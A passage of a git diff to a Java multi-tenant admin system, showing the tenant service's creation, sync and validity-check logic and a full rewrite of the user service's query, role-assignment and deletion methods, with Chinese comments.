lqw.eq(StringUtils.isNotBlank(bo.getIntro()), SysTenant::getIntro, bo.getIntro()); + lqw.like(StringUtils.isNotBlank(bo.getDomain()), SysTenant::getDomain, bo.getDomain()); + lqw.eq(bo.getPackageId() != null, SysTenant::getPackageId, bo.getPackageId()); + lqw.eq(bo.getExpireTime() != null, SysTenant::getExpireTime, bo.getExpireTime()); + lqw.eq(bo.getAccountCount() != null, SysTenant::getAccountCount, bo.getAccountCount()); + lqw.eq(StringUtils.isNotBlank(bo.getStatus()), SysTenant::getStatus, bo.getStatus()); + lqw.orderByAsc(SysTenant::getId); + return lqw; + } + + /** + * 新增租户 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public Boolean insertByBo(SysTenantBo bo) { + SysTenant add = MapstructUtils.convert(bo, SysTenant.class); + + // 获取所有租户编号 + List tenantIds = baseMapper.selectObjs( + new LambdaQueryWrapper().select(SysTenant::getTenantId), x -> {return Convert.toStr(x);}); + String tenantId = generateTenantId(tenantIds); + add.setTenantId(tenantId); + boolean flag = baseMapper.insert(add) > 0; + if (!flag) { + throw new ServiceException("创建租户失败"); + } + bo.setId(add.getId()); + + // 根据套餐创建角色 + Long roleId = createTenantRole(tenantId, bo.getPackageId()); + + // 创建部门: 公司名是部门名称 + SysDept dept = new SysDept(); + dept.setTenantId(tenantId); + dept.setDeptName(bo.getCompanyName()); + dept.setParentId(Constants.TOP_PARENT_ID); + dept.setAncestors(Constants.TOP_PARENT_ID.toString()); + deptMapper.insert(dept); + Long deptId = dept.getDeptId(); + + // 角色和部门关联表 + SysRoleDept roleDept = new SysRoleDept(); + roleDept.setRoleId(roleId); + roleDept.setDeptId(deptId); + roleDeptMapper.insert(roleDept); + + // 创建系统用户 + SysUser user = new SysUser(); + user.setTenantId(tenantId); + user.setUserName(bo.getUsername()); + user.setNickName(bo.getUsername()); + user.setPassword(BCrypt.hashpw(bo.getPassword())); + user.setDeptId(deptId); + userMapper.insert(user); + //新增系统用户后,默认当前用户为部门的负责人 + SysDept sd = new SysDept(); + sd.setLeader(user.getUserId()); + sd.setDeptId(deptId); + deptMapper.updateById(sd); + + // 用户和角色关联表 + SysUserRole userRole = new SysUserRole(); + userRole.setUserId(user.getUserId()); + userRole.setRoleId(roleId); + userRoleMapper.insert(userRole); + + String defaultTenantId = TenantConstants.DEFAULT_TENANT_ID; + List dictTypeList = dictTypeMapper.selectList( + new LambdaQueryWrapper().eq(SysDictType::getTenantId, defaultTenantId)); + List dictDataList = dictDataMapper.selectList( + new LambdaQueryWrapper().eq(SysDictData::getTenantId, defaultTenantId)); + for (SysDictType dictType : dictTypeList) { + dictType.setDictId(null); + dictType.setTenantId(tenantId); + } + for (SysDictData dictData : dictDataList) { + dictData.setDictCode(null); + dictData.setTenantId(tenantId); + } + dictTypeMapper.insertBatch(dictTypeList); + dictDataMapper.insertBatch(dictDataList); + + List sysConfigList = configMapper.selectList( + new LambdaQueryWrapper().eq(SysConfig::getTenantId, defaultTenantId)); + for (SysConfig config : sysConfigList) { + config.setConfigId(null); + config.setTenantId(tenantId); + } + configMapper.insertBatch(sysConfigList); + return true; + } + + /** + * 生成租户id + * + * @param tenantIds 已有租户id列表 + * @return 租户id + */ + private String generateTenantId(List tenantIds) { + // 随机生成6位 + String numbers = RandomUtil.randomNumbers(6); + // 判断是否存在,如果存在则重新生成 + if (tenantIds.contains(numbers)) { + return generateTenantId(tenantIds); + } + return numbers; + } + + /** + * 根据租户菜单创建租户角色 + * + * @param tenantId 租户编号 + * @param packageId 租户套餐id + * @return 角色id + */ + private Long createTenantRole(String tenantId, Long packageId) { + // 获取租户套餐 + SysTenantPackage tenantPackage = tenantPackageMapper.selectById(packageId); + if (ObjectUtil.isNull(tenantPackage)) { + throw new ServiceException("套餐不存在"); + } + // 获取套餐菜单id + List menuIds = StringUtils.splitTo(tenantPackage.getMenuIds(), Convert::toLong); + + // 创建角色 + SysRole role = new SysRole(); + role.setTenantId(tenantId); + role.setRoleName(TenantConstants.TENANT_ADMIN_ROLE_NAME); + role.setRoleKey(TenantConstants.TENANT_ADMIN_ROLE_KEY); + role.setRoleSort(1); + role.setStatus(SystemConstants.NORMAL); + roleMapper.insert(role); + Long roleId = role.getRoleId(); + + // 创建角色菜单 + List roleMenus = new ArrayList<>(menuIds.size()); + menuIds.forEach(menuId -> { + SysRoleMenu roleMenu = new SysRoleMenu(); + roleMenu.setRoleId(roleId); + roleMenu.setMenuId(menuId); + roleMenus.add(roleMenu); + }); + roleMenuMapper.insertBatch(roleMenus); + + return roleId; + } + + /** + * 修改租户 + */ + @CacheEvict(cacheNames = CacheNames.SYS_TENANT, key = "#bo.tenantId") + @Override + public Boolean updateByBo(SysTenantBo bo) { + SysTenant tenant = MapstructUtils.convert(bo, SysTenant.class); + tenant.setTenantId(null); + tenant.setPackageId(null); + return baseMapper.updateById(tenant) > 0; + } + + /** + * 修改租户状态 + * + * @param bo 租户信息 + * @return 结果 + */ + @CacheEvict(cacheNames = CacheNames.SYS_TENANT, key = "#bo.tenantId") + @Override + public int updateTenantStatus(SysTenantBo bo) { + SysTenant tenant = new SysTenant(); + tenant.setId(bo.getId()); + tenant.setStatus(bo.getStatus()); + return baseMapper.updateById(tenant); + } + + /** + * 校验租户是否允许操作 + * + * @param tenantId 租户ID + */ + @Override + public void checkTenantAllowed(String tenantId) { + if (ObjectUtil.isNotNull(tenantId) && TenantConstants.DEFAULT_TENANT_ID.equals(tenantId)) { + throw new ServiceException("不允许操作管理租户"); + } + } + + /** + * 批量删除租户 + */ + @CacheEvict(cacheNames = CacheNames.SYS_TENANT, allEntries = true) + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if (isValid) { + // 做一些业务上的校验,判断是否需要校验 + if (ids.contains(TenantConstants.SUPER_ADMIN_ID)) { + throw new ServiceException("超管租户不能删除"); + } + } + return baseMapper.deleteByIds(ids) > 0; + } + + /** + * 校验企业名称是否唯一 + */ + @Override + public boolean checkCompanyNameUnique(SysTenantBo bo) { + boolean exist = baseMapper.exists(new LambdaQueryWrapper() + .eq(SysTenant::getCompanyName, bo.getCompanyName()) + .ne(ObjectUtil.isNotNull(bo.getTenantId()), SysTenant::getTenantId, bo.getTenantId())); + return !exist; + } + + /** + * 校验账号余额 + */ + @Override + public boolean checkAccountBalance(String tenantId) { + SysTenantVo tenant = SpringUtils.getAopProxy(this).queryByTenantId(tenantId); + // 如果余额为-1代表不限制 + if (tenant.getAccountCount() == -1) { + return true; + } + Long userNumber = userMapper.selectCount(new LambdaQueryWrapper<>()); + // 如果余额大于0代表还有可用名额 + return tenant.getAccountCount() - userNumber > 0; + } + + /** + * 校验有效期 + */ + @Override + public boolean checkExpireTime(String tenantId) { + SysTenantVo tenant = SpringUtils.getAopProxy(this).queryByTenantId(tenantId); + // 如果未设置过期时间代表不限制 + if (ObjectUtil.isNull(tenant.getExpireTime())) { + return true; + } + // 如果当前时间在过期时间之前则通过 + return new Date().before(tenant.getExpireTime()); + } + + /** + * 同步租户套餐 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public Boolean syncTenantPackage(String tenantId, Long packageId) { + SysTenantPackage tenantPackage = tenantPackageMapper.selectById(packageId); + List roles = roleMapper.selectList( + new LambdaQueryWrapper().eq(SysRole::getTenantId, tenantId)); + List roleIds = new ArrayList<>(roles.size() - 1); + List menuIds = StringUtils.splitTo(tenantPackage.getMenuIds(), Convert::toLong); + roles.forEach(item -> { + if (TenantConstants.TENANT_ADMIN_ROLE_KEY.equals(item.getRoleKey())) { + List roleMenus = new ArrayList<>(menuIds.size()); + menuIds.forEach(menuId -> { + SysRoleMenu roleMenu = new SysRoleMenu(); + roleMenu.setRoleId(item.getRoleId()); + roleMenu.setMenuId(menuId); + roleMenus.add(roleMenu); + }); + roleMenuMapper.delete(new LambdaQueryWrapper().eq(SysRoleMenu::getRoleId, item.getRoleId())); + roleMenuMapper.insertBatch(roleMenus); + } else { + roleIds.add(item.getRoleId()); + } + }); + if (!roleIds.isEmpty()) { + roleMenuMapper.delete( + new LambdaQueryWrapper().in(SysRoleMenu::getRoleId, roleIds).notIn(!menuIds.isEmpty(), SysRoleMenu::getMenuId, menuIds)); + } + return true; + } + + /** + * 同步租户字典 + */ + @Transactional(rollbackFor = Exception.class) + @Override + public void syncTenantDict() { + // 查询超管 所有字典数据 + List dictTypeList = new ArrayList<>(); + List dictDataList = new ArrayList<>(); + TenantHelper.ignore(() -> { + dictTypeList.addAll(dictTypeMapper.selectList()); + dictDataList.addAll(dictDataMapper.selectList()); + }); + Map> typeMap = StreamUtils.groupByKey(dictTypeList, TenantEntity::getTenantId); + Map>> typeDataMap = StreamUtils.groupBy2Key( + dictDataList, TenantEntity::getTenantId, SysDictData::getDictType); + // 管理租户字典数据 + List defaultTypeMap = typeMap.get(TenantConstants.DEFAULT_TENANT_ID); + Map> defaultTypeDataMap = typeDataMap.get(TenantConstants.DEFAULT_TENANT_ID); + + // 获取所有租户编号 + List tenantIds = baseMapper.selectObjs( + new LambdaQueryWrapper().select(SysTenant::getTenantId) + .eq(SysTenant::getStatus, SystemConstants.NORMAL), x -> {return Convert.toStr(x);}); + List saveTypeList = new ArrayList<>(); + List saveDataList = new ArrayList<>(); + Set set = new HashSet<>(); + for (String tenantId : tenantIds) { + if (TenantConstants.DEFAULT_TENANT_ID.equals(tenantId)) { + continue; + } + for (SysDictType dictType : defaultTypeMap) { + List typeList = StreamUtils.toList(typeMap.get(tenantId), SysDictType::getDictType); + List dataList = defaultTypeDataMap.get(dictType.getDictType()); + if (typeList.contains(dictType.getDictType())) { + List dataListTenant = typeDataMap.get(tenantId).get(dictType.getDictType()); + Map map = StreamUtils.toIdentityMap(dataListTenant, SysDictData::getDictValue); + for (SysDictData dictData : dataList) { + if (!map.containsKey(dictData.getDictValue())) { + SysDictData data = BeanUtil.toBean(dictData, SysDictData.class); + // 设置字典编码为 null + data.setDictCode(null); + data.setTenantId(tenantId); + data.setCreateTime(null); + data.setUpdateTime(null); + set.add(tenantId); + saveDataList.add(data); + } + } + } else { + SysDictType type = BeanUtil.toBean(dictType, SysDictType.class); + type.setDictId(null); + type.setTenantId(tenantId); + type.setCreateTime(null); + type.setUpdateTime(null); + set.add(tenantId); + saveTypeList.add(type); + if (CollUtil.isNotEmpty(dataList)) { + // 筛选出 dictType 对应的 data + for (SysDictData dictData : dataList) { + SysDictData data = BeanUtil.toBean(dictData, SysDictData.class); + // 设置字典编码为 null + data.setDictCode(null); + data.setTenantId(tenantId); + data.setCreateTime(null); + data.setUpdateTime(null); + set.add(tenantId); + saveDataList.add(data); + } + } + } + } + } + TenantHelper.ignore(() -> { + if (CollUtil.isNotEmpty(saveTypeList)) { + dictTypeMapper.insertBatch(saveTypeList); + } + if (CollUtil.isNotEmpty(saveDataList)) { + dictDataMapper.insertBatch(saveDataList); + } + }); + for (String tenantId : set) { + TenantHelper.dynamic(tenantId, () -> CacheUtils.clear(CacheNames.SYS_DICT)); + } + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysUserServiceImpl.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysUserServiceImpl.java index ff7ef16..4739082 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysUserServiceImpl.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysUserServiceImpl.java @@ -1,849 +1,849 @@ -package org.dromara.system.service.impl; - -import cn.hutool.core.bean.BeanUtil; -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.convert.Convert; -import cn.hutool.core.util.ArrayUtil; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.conditions.Wrapper; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.constant.CacheNames; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.core.domain.dto.RoleDTO; -import org.dromara.common.core.domain.dto.UserDTO; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.service.UserService; -import org.dromara.common.core.utils.*; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.mybatis.helper.DataBaseHelper; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.system.domain.*; -import org.dromara.system.domain.bo.SysUserBo; -import org.dromara.system.domain.vo.*; -import org.dromara.system.mapper.*; -import org.dromara.system.service.ISysUserService; -import org.springframework.cache.annotation.CacheEvict; -import org.springframework.cache.annotation.Cacheable; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; - -import java.math.BigDecimal; -import java.util.*; -import java.util.stream.Collectors; - -/** - * 用户 业务层处理 - * - * @author Lion Li - */ -@Slf4j -@RequiredArgsConstructor -@Service -public class SysUserServiceImpl implements ISysUserService, UserService { - - private final SysUserMapper baseMapper; - private final SysDeptMapper deptMapper; - private final SysRoleMapper roleMapper; - private final SysPostMapper postMapper; - private final SysUserRoleMapper userRoleMapper; - private final SysUserPostMapper userPostMapper; - private final SysPictureMapper pictureMapper; - - @Override - public TableDataInfo selectPageUserList(SysUserBo user, PageQuery pageQuery) { - Page page = baseMapper.selectPageUserList(pageQuery.build(), this.buildQueryWrapper(user)); - return TableDataInfo.build(page); - } - - /** - * 分页查询用户列表 - * - * @param user - * @param pageQuery - * @return - */ - @Override - public TableDataInfo selectPageGetUserList(SysUserBo user, PageQuery pageQuery) { - Page page = baseMapper.selectPageUserList1(pageQuery.build(), this.buildQueryWrapper1(user)); - return TableDataInfo.build(page); - } - - /** 获取技术列表 - * @param user - * @param pageQuery - * @return - */ - @Override - public TableDataInfo getJSList(SysUserBo user, PageQuery pageQuery) { - Page page = baseMapper.selectPageUserList2(pageQuery.build(), this.buildQueryWrapper1(user)); - return TableDataInfo.build(page); - } - - /** - * 分页查询用户列表 - * - * @param bo - * @param pageQuery - * @return - */ - @Override - public TableDataInfo selectPageList(SysUserBo bo, PageQuery pageQuery) { - Page page = baseMapper.selectPageUserList2(pageQuery.build(), this.buildQueryWrapper1(bo)); - //统计该用户作品数量 - page.getRecords().forEach(r -> r.setWorkNum(pictureMapper.selectCount(new LambdaQueryWrapper().eq(SysPicture::getUserId, r.getUserId())))); - - //获取该用户最新的两个作品对象 - page.getRecords().forEach(r -> { - List pictures = pictureMapper.selectVoList(new LambdaQueryWrapper().eq(SysPicture::getUserId, r.getUserId()).orderByDesc(SysPicture::getCreateTime).last("limit 3")); - r.setPictures(pictures); - }); - return TableDataInfo.build(page); - } - - /** - * 根据条件分页查询用户列表 - * - * @param user 用户信息 - * @return 用户信息集合信息 - */ - @Override - public List selectUserExportList(SysUserBo user) { - return baseMapper.selectUserExportList(this.buildQueryWrapper(user)); - } - - private Wrapper buildQueryWrapper(SysUserBo user) { - Map params = user.getParams(); - QueryWrapper wrapper = Wrappers.query(); - wrapper.eq("u.del_flag", SystemConstants.NORMAL) - .eq(ObjectUtil.isNotNull(user.getUserId()), "u.user_id", user.getUserId()) - .like(StringUtils.isNotBlank(user.getUserName()), "u.user_name", user.getUserName()) - .like(StringUtils.isNotBlank(user.getRealName()), "u.real_name", user.getRealName()) - .eq(StringUtils.isNotBlank(user.getStatus()), "u.status", user.getStatus()) - .like(StringUtils.isNotBlank(user.getNickName()), "u.nick_name", user.getNickName()) - .like(StringUtils.isNotBlank(user.getType()), "u.type", user.getType()) - .eq(user.getWork() != null, "u.work", user.getWork()) - .like(StringUtils.isNotBlank(user.getPhonenumber()), "u.phonenumber", user.getPhonenumber()) - .between(params.get("beginTime") != null && params.get("endTime") != null, - "u.create_time", params.get("beginTime"), params.get("endTime")) - .and(ObjectUtil.isNotNull(user.getDeptId()), w -> { - List deptList = deptMapper.selectListByParentId(user.getDeptId()); - List ids = StreamUtils.toList(deptList, SysDept::getDeptId); - ids.add(user.getDeptId()); - w.in("u.dept_id", ids); - }).orderByAsc("u.user_id"); - if (StringUtils.isNotBlank(user.getExcludeUserIds())) { - wrapper.notIn("u.user_id", StringUtils.splitTo(user.getExcludeUserIds(), Convert::toLong)); - } - return wrapper; - } - - private Wrapper buildQueryWrapper1(SysUserBo user) { - Map params = user.getParams(); - QueryWrapper wrapper = Wrappers.query(); - - wrapper.eq("u.del_flag", SystemConstants.NORMAL) - .eq(ObjectUtil.isNotNull(user.getIdentity()), "u.identity", user.getIdentity()) - .eq(ObjectUtil.isNotNull(user.getIsFty()), "u.is_fty", user.getIsFty()) - .eq(ObjectUtil.isNotNull(user.getUserId()), "u.user_id", user.getUserId()) - .like(StringUtils.isNotBlank(user.getUserName()), "u.user_name", user.getUserName()) - .like(StringUtils.isNotBlank(user.getRealName()), "u.real_name", user.getRealName()) - .eq(StringUtils.isNotBlank(user.getStatus()), "u.status", user.getStatus()) - .like(StringUtils.isNotBlank(user.getNickName()), "u.nick_name", user.getNickName()) - .like(StringUtils.isNotBlank(user.getType()), "u.type", user.getType()) - .eq(user.getWork() != null, "u.work", user.getWork()) - .like(StringUtils.isNotBlank(user.getPhonenumber()), "u.phonenumber", user.getPhonenumber()) - .between(params.get("beginTime") != null && params.get("endTime") != null, - "u.create_time", params.get("beginTime"), params.get("endTime")) - .and(ObjectUtil.isNotNull(user.getDeptId()), w -> { - List deptList = deptMapper.selectList(new LambdaQueryWrapper() - .select(SysDept::getDeptId) - .apply(DataBaseHelper.findInSet(user.getDeptId(), "ancestors"))); - List ids = StreamUtils.toList(deptList, SysDept::getDeptId); - ids.add(user.getDeptId()); - w.in("u.dept_id", ids); - }).and(ObjectUtil.isNotNull(user.getDeptIds()), w -> { - w.in("u.dept_id", user.getDeptIds()); - }).orderByAsc("u.user_id"); - if (StringUtils.isNotBlank(user.getExcludeUserIds())) { - wrapper.notIn("u.user_id", StringUtils.splitTo(user.getExcludeUserIds(), Convert::toLong)); - } - return wrapper; - } - - /** - * 根据条件分页查询已分配用户角色列表 - * - * @param user 用户信息 - * @return 用户信息集合信息 - */ - @Override - public TableDataInfo selectAllocatedList(SysUserBo user, PageQuery pageQuery) { - QueryWrapper wrapper = Wrappers.query(); - wrapper.eq("u.del_flag", SystemConstants.NORMAL) - .eq(ObjectUtil.isNotNull(user.getRoleId()), "r.role_id", user.getRoleId()) - .like(StringUtils.isNotBlank(user.getUserName()), "u.user_name", user.getUserName()) - .like(StringUtils.isNotBlank(user.getNickName()), "u.nick_name", user.getNickName()) - .eq(StringUtils.isNotBlank(user.getStatus()), "u.status", user.getStatus()) - .like(StringUtils.isNotBlank(user.getPhonenumber()), "u.phonenumber", user.getPhonenumber()) - .orderByAsc("u.user_id"); - Page page = baseMapper.selectAllocatedList(pageQuery.build(), wrapper); - return TableDataInfo.build(page); - } - - /** - * 根据条件分页查询未分配用户角色列表 - * - * @param user 用户信息 - * @return 用户信息集合信息 - */ - @Override - public TableDataInfo selectUnallocatedList(SysUserBo user, PageQuery pageQuery) { - List userIds = userRoleMapper.selectUserIdsByRoleId(user.getRoleId()); - QueryWrapper wrapper = Wrappers.query(); - if(ObjectUtil.isNotNull(user.getDeptId())){ - List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors,user.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); - deptIds.add(user.getDeptId()); - wrapper.in(user.getDeptId() != null,"u.dept_id",deptIds); - } - wrapper.eq("u.del_flag", SystemConstants.NORMAL) - .and(w -> w.ne("r.role_id", user.getRoleId()).or().isNull("r.role_id")) - .notIn(CollUtil.isNotEmpty(userIds), "u.user_id", userIds) - .like(StringUtils.isNotBlank(user.getUserName()), "u.user_name", user.getUserName()) - .like(StringUtils.isNotBlank(user.getNickName()), "u.nick_name", user.getNickName()) - .like(StringUtils.isNotBlank(user.getPhonenumber()), "u.phonenumber", user.getPhonenumber()) - .orderByAsc("u.user_id"); - Page page = baseMapper.selectUnallocatedList(pageQuery.build(), wrapper); - return TableDataInfo.build(page); - } - - /** - * 通过用户名查询用户 - * - * @param userName 用户名 - * @return 用户对象信息 - */ - @Override - public SysUserVo selectUserByUserName(String userName) { - return baseMapper.selectVoOne(new LambdaQueryWrapper().eq(SysUser::getUserName, userName)); - } - - /** - * 通过手机号查询用户 - * - * @param phonenumber 手机号 - * @return 用户对象信息 - */ - @Override - public SysUserVo selectUserByPhonenumber(String phonenumber) { - return baseMapper.selectVoOne(new LambdaQueryWrapper().eq(SysUser::getPhonenumber, phonenumber)); - } - - /** - * 通过用户ID查询用户 - * - * @param userId 用户ID - * @return 用户对象信息 - */ - @Override - public SysUserVo selectUserById(Long userId) { - SysUserVo user = baseMapper.selectVoById(userId); - if (ObjectUtil.isNull(user)) { - return user; - } - user.setRoles(roleMapper.selectRolesByUserId(user.getUserId())); - return user; - } - - /** - * 通过用户ID串查询用户 - * - * @param userIds 用户ID串 - * @param deptId 部门id - * @return 用户列表信息 - */ - @Override - public List selectUserByIds(List userIds, Long deptId) { - return baseMapper.selectUserList(new LambdaQueryWrapper() - .select(SysUser::getUserId, SysUser::getUserName, SysUser::getNickName) - .eq(SysUser::getStatus, SystemConstants.NORMAL) - .eq(ObjectUtil.isNotNull(deptId), SysUser::getDeptId, deptId) - .in(CollUtil.isNotEmpty(userIds), SysUser::getUserId, userIds)); - } - - /** - * 查询用户所属角色组 - * - * @param userId 用户ID - * @return 结果 - */ - @Override - public String selectUserRoleGroup(Long userId) { - List list = roleMapper.selectRolesByUserId(userId); - if (CollUtil.isEmpty(list)) { - return StringUtils.EMPTY; - } - return StreamUtils.join(list, SysRoleVo::getRoleName); - } - - /** - * 查询用户所属岗位组 - * - * @param userId 用户ID - * @return 结果 - */ - @Override - public String selectUserPostGroup(Long userId) { - List list = postMapper.selectPostsByUserId(userId); - if (CollUtil.isEmpty(list)) { - return StringUtils.EMPTY; - } - return StreamUtils.join(list, SysPostVo::getPostName); - } - - /** - * 校验用户名称是否唯一 - * - * @param user 用户信息 - * @return 结果 - */ - @Override - public boolean checkUserNameUnique(SysUserBo user) { - boolean exist = baseMapper.exists(new LambdaQueryWrapper() - .eq(SysUser::getUserName, user.getUserName()) - .ne(ObjectUtil.isNotNull(user.getUserId()), SysUser::getUserId, user.getUserId())); - return !exist; - } - - /** - * 校验手机号码是否唯一 - * - * @param user 用户信息 - */ - @Override - public boolean checkPhoneUnique(SysUserBo user) { - boolean exist = baseMapper.exists(new LambdaQueryWrapper() - .eq(SysUser::getPhonenumber, user.getPhonenumber()) - .ne(ObjectUtil.isNotNull(user.getUserId()), SysUser::getUserId, user.getUserId())); - return !exist; - } - - /** - * 校验email是否唯一 - * - * @param user 用户信息 - */ - @Override - public boolean checkEmailUnique(SysUserBo user) { - boolean exist = baseMapper.exists(new LambdaQueryWrapper() - .eq(SysUser::getEmail, user.getEmail()) - .ne(ObjectUtil.isNotNull(user.getUserId()), SysUser::getUserId, user.getUserId())); - return !exist; - } - - /** - * 校验用户是否允许操作 - * - * @param userId 用户ID - */ - @Override - public void checkUserAllowed(Long userId) { - if (ObjectUtil.isNotNull(userId) && LoginHelper.isSuperAdmin(userId)) { - throw new ServiceException("不允许操作超级管理员用户"); - } - } - - /** - * 校验用户是否有数据权限 - * - * @param userId 用户id - */ - @Override - public void checkUserDataScope(Long userId) { - if (ObjectUtil.isNull(userId)) { - return; - } - if (LoginHelper.isSuperAdmin()) { - return; - } - if (baseMapper.countUserById(userId) == 0) { - throw new ServiceException("没有权限访问用户数据!"); - } - } - - /** - * 新增保存用户信息 - * - * @param user 用户信息 - * @return 结果 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public int insertUser(SysUserBo user) { - SysUser sysUser = MapstructUtils.convert(user, SysUser.class); - // 新增用户信息 - int rows = baseMapper.insert(sysUser); - user.setUserId(sysUser.getUserId()); - // 新增用户岗位关联 - insertUserPost(user, false); - // 新增用户与角色管理 - insertUserRole(user, false); - return rows; - } - - /** - * 注册用户信息 - * - * @param user 用户信息 - * @return 结果 - */ - @Override - public boolean registerUser(SysUserBo user, String tenantId) { - user.setCreateBy(0L); - user.setUpdateBy(0L); - SysUser sysUser = MapstructUtils.convert(user, SysUser.class); - sysUser.setTenantId(tenantId); - return baseMapper.insert(sysUser) > 0; - } - - /** - * 修改保存用户信息 - * - * @param user 用户信息 - * @return 结果 - */ - @Override - @CacheEvict(cacheNames = CacheNames.SYS_NICKNAME, key = "#user.userId") - @Transactional(rollbackFor = Exception.class) - public int updateUser(SysUserBo user) { - // 新增用户与角色管理 - insertUserRole(user, true); - // 新增用户与岗位管理 - insertUserPost(user, true); - SysUser sysUser = MapstructUtils.convert(user, SysUser.class); - // 防止错误更新后导致的数据误删除 - int flag = baseMapper.updateById(sysUser); - if (flag < 1) { - throw new ServiceException("修改用户" + user.getUserName() + "信息失败"); - } - return flag; - } - - /** - * 用户授权角色 - * - * @param userId 用户ID - * @param roleIds 角色组 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public void insertUserAuth(Long userId, Long[] roleIds) { - insertUserRole(userId, roleIds, true); - } - - /** - * 修改用户状态 - * - * @param userId 用户ID - * @param status 帐号状态 - * @return 结果 - */ - @Override - public int updateUserStatus(Long userId, String status) { - return baseMapper.update(null, - new LambdaUpdateWrapper() - .set(SysUser::getStatus, status) - .eq(SysUser::getUserId, userId)); - } - - /** - * 修改用户基本信息 - * - * @param user 用户信息 - * @return 结果 - */ - @CacheEvict(cacheNames = CacheNames.SYS_NICKNAME, key = "#user.userId") - @Override - public int updateUserProfile(SysUserBo user) { - return baseMapper.update(null, - new LambdaUpdateWrapper() - .set(ObjectUtil.isNotNull(user.getNickName()), SysUser::getNickName, user.getNickName()) - .set(SysUser::getPhonenumber, user.getPhonenumber()) - .set(SysUser::getEmail, user.getEmail()) - .set(SysUser::getSex, user.getSex()) - .eq(SysUser::getUserId, user.getUserId())); - } - - /** - * 修改用户头像 - * - * @param userId 用户ID - * @param avatar 头像地址 - * @return 结果 - */ - @Override - public boolean updateUserAvatar(Long userId, Long avatar) { - return baseMapper.update(null, - new LambdaUpdateWrapper() - .set(SysUser::getAvatar, avatar) - .eq(SysUser::getUserId, userId)) > 0; - } - - /** - * 重置用户密码 - * - * @param userId 用户ID - * @param password 密码 - * @return 结果 - */ - @Override - public int resetUserPwd(Long userId, String password) { - return baseMapper.update(null, - new LambdaUpdateWrapper() - .set(SysUser::getPassword, password) - .eq(SysUser::getUserId, userId)); - } - - /** - * 新增用户角色信息 - * - * @param user 用户对象 - * @param clear 清除已存在的关联数据 - */ - private void insertUserRole(SysUserBo user, boolean clear) { - this.insertUserRole(user.getUserId(), user.getRoleIds(), clear); - } - - /** - * 新增用户岗位信息 - * - * @param user 用户对象 - * @param clear 清除已存在的关联数据 - */ - private void insertUserPost(SysUserBo user, boolean clear) { - Long[] posts = user.getPostIds(); - if (ArrayUtil.isNotEmpty(posts)) { - if (clear) { - // 删除用户与岗位关联 - userPostMapper.delete(new LambdaQueryWrapper().eq(SysUserPost::getUserId, user.getUserId())); - } - // 新增用户与岗位管理 - List list = StreamUtils.toList(List.of(posts), postId -> { - SysUserPost up = new SysUserPost(); - up.setUserId(user.getUserId()); - up.setPostId(postId); - return up; - }); - userPostMapper.insertBatch(list); - } - } - - /** - * 新增用户角色信息 - * - * @param userId 用户ID - * @param roleIds 角色组 - * @param clear 清除已存在的关联数据 - */ - private void insertUserRole(Long userId, Long[] roleIds, boolean clear) { - if (ArrayUtil.isNotEmpty(roleIds)) { - List roleList = new ArrayList<>(List.of(roleIds)); - if (!LoginHelper.isSuperAdmin(userId)) { - roleList.remove(SystemConstants.SUPER_ADMIN_ID); - } - // 判断是否具有此角色的操作权限 - List roles = roleMapper.selectRoleList( - new QueryWrapper().in("r.role_id", roleList)); - if (CollUtil.isEmpty(roles)) { - throw new ServiceException("没有权限访问角色的数据"); - } - if (clear) { - // 删除用户与角色关联 - userRoleMapper.delete(new LambdaQueryWrapper().eq(SysUserRole::getUserId, userId)); - } - // 新增用户与角色管理 - List list = StreamUtils.toList(roleList, roleId -> { - SysUserRole ur = new SysUserRole(); - ur.setUserId(userId); - ur.setRoleId(roleId); - return ur; - }); - userRoleMapper.insertBatch(list); - } - } - - /** - * 通过用户ID删除用户 - * - * @param userId 用户ID - * @return 结果 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public int deleteUserById(Long userId) { - // 删除用户与角色关联 - userRoleMapper.delete(new LambdaQueryWrapper().eq(SysUserRole::getUserId, userId)); - // 删除用户与岗位表 - userPostMapper.delete(new LambdaQueryWrapper().eq(SysUserPost::getUserId, userId)); - // 防止更新失败导致的数据删除 - int flag = baseMapper.deleteById(userId); - if (flag < 1) { - throw new ServiceException("删除用户失败!"); - } - return flag; - } - - /** - * 批量删除用户信息 - * - * @param userIds 需要删除的用户ID - * @return 结果 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public int deleteUserByIds(Long[] userIds) { - for (Long userId : userIds) { - checkUserAllowed(userId); - checkUserDataScope(userId); - } - List ids = List.of(userIds); - // 删除用户与角色关联 - userRoleMapper.delete(new LambdaQueryWrapper().in(SysUserRole::getUserId, ids)); - // 删除用户与岗位表 - userPostMapper.delete(new LambdaQueryWrapper().in(SysUserPost::getUserId, ids)); - // 防止更新失败导致的数据删除 - int flag = baseMapper.deleteByIds(ids); - if (flag < 1) { - throw new ServiceException("删除用户失败!"); - } - return flag; - } - - /** - * 通过部门id查询当前部门所有用户 - * - * @param 